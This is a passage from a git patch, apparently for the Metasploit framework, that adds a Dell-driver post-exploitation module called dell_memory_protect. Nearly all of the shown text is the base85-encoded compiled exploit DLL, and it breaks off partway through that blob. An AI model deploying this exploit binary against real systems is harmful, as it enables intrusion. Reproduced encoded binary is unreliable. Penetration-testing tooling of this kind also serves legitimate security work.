From deab4ce90e70d4e06d86c1fa621fa56c8b81ec40 Mon Sep 17 00:00:00 2001 From: Jake Baines Date: Wed, 8 Dec 2021 07:33:16 -0800 Subject: [PATCH] Initial commit of Dellicious port --- .../dell_protect/dell_protect.x64.dll | Bin 0 -> 221184 bytes .../windows/manage/dell_memory_protect.md | 283 ++++++++++++++ .../dell_memory_protect.sln | 31 ++ .../dell_memory_protect.vcxproj | 165 ++++++++ .../exploits/dell_memory_protect/dllmain.cpp | 32 ++ .../exploits/dell_memory_protect/exploit.cpp | 354 ++++++++++++++++++ .../windows/manage/dell_memory_protect.rb | 101 +++++ 7 files changed, 966 insertions(+) create mode 100644 data/exploits/dell_protect/dell_protect.x64.dll create mode 100644 documentation/modules/post/windows/manage/dell_memory_protect.md create mode 100644 external/source/exploits/dell_memory_protect/dell_memory_protect.sln create mode 100644 external/source/exploits/dell_memory_protect/dell_memory_protect.vcxproj create mode 100644 external/source/exploits/dell_memory_protect/dllmain.cpp create mode 100644 external/source/exploits/dell_memory_protect/exploit.cpp create mode 100644 modules/post/windows/manage/dell_memory_protect.rb diff --git a/data/exploits/dell_protect/dell_protect.x64.dll b/data/exploits/dell_protect/dell_protect.x64.dll new file mode 100644 index 0000000000000000000000000000000000000000..61186e525132c289d62daf062e7b1798bf1d3679 GIT binary patch literal 221184 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
7u8;fxNEo6N+33&Jy(NY(+sJGOtZP zsTE(C)^v){Zxct5$e*T95)a7Y^Tl3+>*Wq~WHJ;+zki4JDDpk`{^e9+@tHKd%tqE8mT2u&{f+GT! zQa6?O@X-*@e-n!Z_*E*B>lHHM;kJ$?eMX%3~8|0dAr7nx16C1iP(H>e5f| z)S6_x$PR}~NQYi+i}UmigQSf2^qB{j3e9@-$e&FMG*g9ef|$c}(I}9GXQ2Hg+KmrNk=hQ*Bj%lPgXGIsv{%fLDv%ZrYi`Iu zyX{6J>04bTofkv@nUYxCJ>$$Ydc3ltIpNdrF^&sc z_*f$+NNlcNlC$Eq>Lu=#-A62S+j^tY)tU2#`z6<$7{-y*GR|)t3@0z?TAEIW3^T0s z%KrA8XbH!zAm9eELDg6WONqhmlqgn=Kb^;5ft3Xw;32AR?L#PT6V67G?s*^!$K9pLIn~2qkOt_4@2k_2#IDSm^lXLVtDF!uR-D^kB%yAwDTT z5vmWjAf5BG^aR$X+Ej+^d*rbyqFaao^+G6-B}Bj}Z0IzeaPR!AP+}xs>m1e(ne&-s zcTZ-v^GOUNfh7p?w+IIdsm>)nEGYBZqI~l=cxE`b$>}AJG zagbA_;yd7=y;04m$*Ia(aXK+gRsNinCk3jjmK`6cUYfJg6Rh5WFEdDOM72_{Kix_! za$&G~+rq89lPxTC;AZtLWXU4VR3G8k;!O34EcJ7$fjW^ppao&utpOHODm4!*LOfSc zg1RF3wr^98S2_J&g>IXheyn^t$C3{)UY)%d`igdTqY3rovAiOU%xBfFwp%`q!wA~J zv44%-K~{|W%`c%$28>Z~2%MlbJuCD~7Tq2b;XJw6*d1Uscf9O|<7Q=HbC)b37=2pc zkifLzUFoLrLlR<)Equm^@IgW-*`p_}bfdHXOSw+|C%F=ny=(@^5s(I-i<|6DOfLzt zAFDYe8p$?VCjo&lzK?l~$z_K*7nMb5jWVbfQ20pAwGh`j;SNg29O}D4LU^G$(gtTY zjOt_k_V$uDS-kCmFsNMh;uKShDO%W=y%^hSHO3T15a)`iQH@!{7q;kFF@(e*5<^G~ zA~A%-AQD5!k3rZga!l9fCe5$0M#%f 